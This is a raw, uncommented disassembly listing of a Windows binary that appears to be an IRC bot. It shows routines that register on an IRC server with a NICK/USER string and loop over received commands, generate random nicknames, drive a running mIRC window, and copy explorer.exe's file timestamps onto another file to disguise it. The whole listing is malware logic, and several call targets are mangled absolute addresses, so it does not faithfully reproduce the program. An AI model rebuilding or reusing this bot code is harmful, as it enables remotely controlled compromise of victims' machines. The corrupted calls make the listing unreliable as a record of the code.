; Attributes: bp-based frame


sub_4178BB	proc near		; DATA XREF: sub_417A60+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46E4[esi]
		mov	dword_4D46D8[esi], edi
		push	dword_4D48E4[esi]
		push	eax
		call	sub_417703
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46DC[esi], eax
		jb	loc_417A40
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADE
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46DC[esi]
		call	dword_4CB694
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417997:				; CODE XREF: sub_4178BB+111j
					; sub_4178BB+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46DC[esi]
		call	dword_4CB65C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A40
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417997


loc_4179CE:				; CODE XREF: sub_4178BB+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F5
		cmp	al, 0Ah
		jz	short loc_4179F5
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F5
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2F
; ---------------------------------------------------------------------------


loc_4179F5:				; CODE XREF: sub_4178BB+11Cj
					; sub_4178BB+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2F
		push	dword_4D46DC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A40
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2F:				; CODE XREF: sub_4178BB+138j
					; sub_4178BB+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CE
		jmp	loc_417997
; ---------------------------------------------------------------------------


loc_417A40:				; CODE XREF: sub_4178BB+40j
					; sub_4178BB+107j ...
		mov	dword_4D46D8[esi], ebx
		mov	esi, dword_4D46DC[esi]
		cmp	esi, ebx
		jbe	short loc_417A57
		push	esi
		call	dword_4CB6DC


loc_417A57:				; CODE XREF: sub_4178BB+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A60	proc near		; CODE XREF: sub_401ACD+31E2p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD9


loc_417A72:				; CODE XREF: sub_417A60+77j
		xor	edi, edi
		mov	eax, offset dword_4D46D8


loc_417A79:				; CODE XREF: sub_417A60+28j
		cmp	[eax], ebx
		jz	short loc_417A8A
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DADF8
		jl	short loc_417A79


loc_417A8A:				; CODE XREF: sub_417A60+1Bj
		cmp	edi, 31h
		jz	short loc_417AD9
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46E4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48E4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46D8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BB
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A72


loc_417AD9:				; CODE XREF: sub_417A60+10j
					; sub_417A60+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADE	proc near		; CODE XREF: sub_401ACD+374Ep
					; sub_401ACD+3794p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B28
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385D8[edx*4]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417B28:				; CODE XREF: sub_417ADE+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382D8[edx*4]


loc_417B41:				; CODE XREF: sub_417ADE+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB4
		cmp	esi, 3
		jnz	short loc_417BAB
		cmp	ebx, 1
		jz	short loc_417BB4


loc_417BAB:				; CODE XREF: sub_417ADE+C6j
		cmp	eax, 1
		jnz	loc_417C6E


loc_417BB4:				; CODE XREF: sub_417ADE+C1j
					; sub_417ADE+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		push	off_4385D8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5B
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5B
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5B
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5B:				; CODE XREF: sub_417ADE+111j
					; sub_417ADE+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6E:				; CODE XREF: sub_417ADE+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED6
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCD
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDC
		cmp	eax, 1
		jnz	loc_417DCD


loc_417CDC:				; CODE XREF: sub_417ADE+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1E
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D3A
; ---------------------------------------------------------------------------


loc_417D1E:				; CODE XREF: sub_417ADE+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D3A:				; CODE XREF: sub_417ADE+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D63
		cmp	eax, ebx
		jnz	short loc_417DCD


loc_417D63:				; CODE XREF: sub_417ADE+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA8
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC6
; ---------------------------------------------------------------------------


loc_417DA8:				; CODE XREF: sub_417ADE+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC6:				; CODE XREF: sub_417ADE+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCD:				; CODE XREF: sub_417ADE+1C9j
					; sub_417ADE+1F8j ...
		cmp	esi, 6
		jge	loc_417E56
		cmp	esi, 5
		jge	short loc_417DEE
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		jmp	short loc_417E0C
; ---------------------------------------------------------------------------


loc_417DEE:				; CODE XREF: sub_417ADE+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0


loc_417E0C:				; CODE XREF: sub_417ADE+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2F
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4C
; ---------------------------------------------------------------------------


loc_417E2F:				; CODE XREF: sub_417ADE+335j
		cmp	eax, 1
		jnz	short loc_417E56
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h


loc_417E4C:				; CODE XREF: sub_417ADE+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E56:				; CODE XREF: sub_417ADE+2F2j
					; sub_417ADE+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		cmp	[ebp+var_C], eax
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED6:				; CODE XREF: sub_417ADE+1B1j
					; sub_417ADE+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEF	proc near		; CODE XREF: sub_401ACD+BECp
					; sub_401ACD+C29p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F7A
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F7A
		cmp	[ebp+arg_8], esi
		jz	short loc_417F7A
		cmp	byte ptr [eax],	0
		jz	short loc_417F7A
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F75
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6E
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6E:				; CODE XREF: sub_417EEF+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F75:				; CODE XREF: sub_417EEF+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7C
; ---------------------------------------------------------------------------


loc_417F7A:				; CODE XREF: sub_417EEF+Cj
					; sub_417EEF+13j ...
		xor	eax, eax


loc_417F7C:				; CODE XREF: sub_417EEF+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F80	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB6
		or	eax, 0FFFFFFFFh
		jmp	short loc_418029
; ---------------------------------------------------------------------------


loc_417FB6:				; CODE XREF: sub_417F80+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD8


loc_417FC2:				; CODE XREF: sub_417F80+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCF
		cmp	dl, 0Dh
		jnz	short loc_417FD3


loc_417FCF:				; CODE XREF: sub_417F80+48j
		and	byte ptr [ecx+esi], 0


loc_417FD3:				; CODE XREF: sub_417F80+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC2


loc_417FD8:				; CODE XREF: sub_417F80+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418009
		lea	edi, [ebp+var_7CC]


loc_417FE5:				; CODE XREF: sub_417F80+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418004
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418004
		cmp	ebx, 1F4h
		jge	short loc_418009
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418004:				; CODE XREF: sub_417F80+69j
					; sub_417F80+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE5


loc_418009:				; CODE XREF: sub_417F80+5Dj
					; sub_417F80+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418027
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418027:				; CODE XREF: sub_417F80+8Ej
		mov	eax, ebx


loc_418029:				; CODE XREF: sub_417F80+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802D	proc near		; CODE XREF: sub_418087+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418066
		push	ebx
		mov	ebx, edi


loc_41804A:				; CODE XREF: sub_41802D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418069
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41804A
		pop	ebx


loc_418066:				; CODE XREF: sub_41802D+18j
		pop	edi
		pop	esi
		retn
sub_41802D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418069	proc near		; CODE XREF: sub_41802D+25p
					; sub_418087+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418084
		cmp	al, 7Ah
		jg	short loc_418084
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418084:				; CODE XREF: sub_418069+Ej
					; sub_418069+12j
		xor	eax, eax
		retn
sub_418069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418087	proc near		; CODE XREF: ___:0041532Ep

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802D
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C5:				; CODE XREF: sub_418087+B6j
		test	esi, esi
		jle	short loc_418143
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813B


loc_4180EB:				; CODE XREF: sub_418087+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418069
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810C
		mov	eax, ecx


loc_41810C:				; CODE XREF: sub_418087+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EB


loc_41813B:				; CODE XREF: sub_418087+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C5
; ---------------------------------------------------------------------------


loc_41813F:				; CODE XREF: sub_418087+8Aj
		xor	eax, eax
		jmp	short loc_418148
; ---------------------------------------------------------------------------


loc_418143:				; CODE XREF: sub_418087+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418148:				; CODE XREF: sub_418087+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814D	proc near		; CODE XREF: sub_401ACD+67A4p
					; sub_401ACD+789Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26A08B1h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2810000h
		lea	eax, [ebp+var_100]


loc_418186:				; CODE XREF: sub_41814D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418192
		cmp	cl, 9
		jnz	short loc_418195


loc_418192:				; CODE XREF: sub_41814D+3Ej
		inc	eax
		jmp	short loc_418186
; ---------------------------------------------------------------------------


loc_418195:				; CODE XREF: sub_41814D+43j
					; sub_41814D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AF
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418195
		cmp	cl, 21h
		jl	short loc_418195


loc_4181AF:				; CODE XREF: sub_41814D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DADFC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D7	proc near		; CODE XREF: sub_401ACD+24CBp
		push	esi
		push	0
		call	dword_4CB614
		test	eax, eax
		jz	short loc_41820E
		push	1
		call	dword_4CB634
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820E
		push	edi
		push	esi
		nop
		call	near ptr 28205CCh
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2820000h
		call	dword_4CB698
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820E:				; CODE XREF: sub_4181D7+Bj
					; sub_4181D7+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418212	proc near		; CODE XREF: sub_401ACD+7662p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB650
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828E
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 283019Dh
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2830000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB6A0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB6A0
		push	ebx
		call	near ptr 2820B8Ch
		nop
		push	edi
		nop
		call	near ptr 26809B4h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_418290
; ---------------------------------------------------------------------------


loc_41828E:				; CODE XREF: sub_418212+16j
		xor	eax, eax


loc_418290:				; CODE XREF: sub_418212+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418294	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB700
		test	eax, eax
		jz	short loc_418333
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 284075Ah
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2840000h
		push	esi
		call	ebx


loc_418333:				; CODE XREF: sub_418294+2Aj
					; sub_418294+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418294	endp


; =============== S U B	R O U T	I N E =======================================



sub_418338	proc near		; CODE XREF: sub_401ACD+16B2p
		push	1
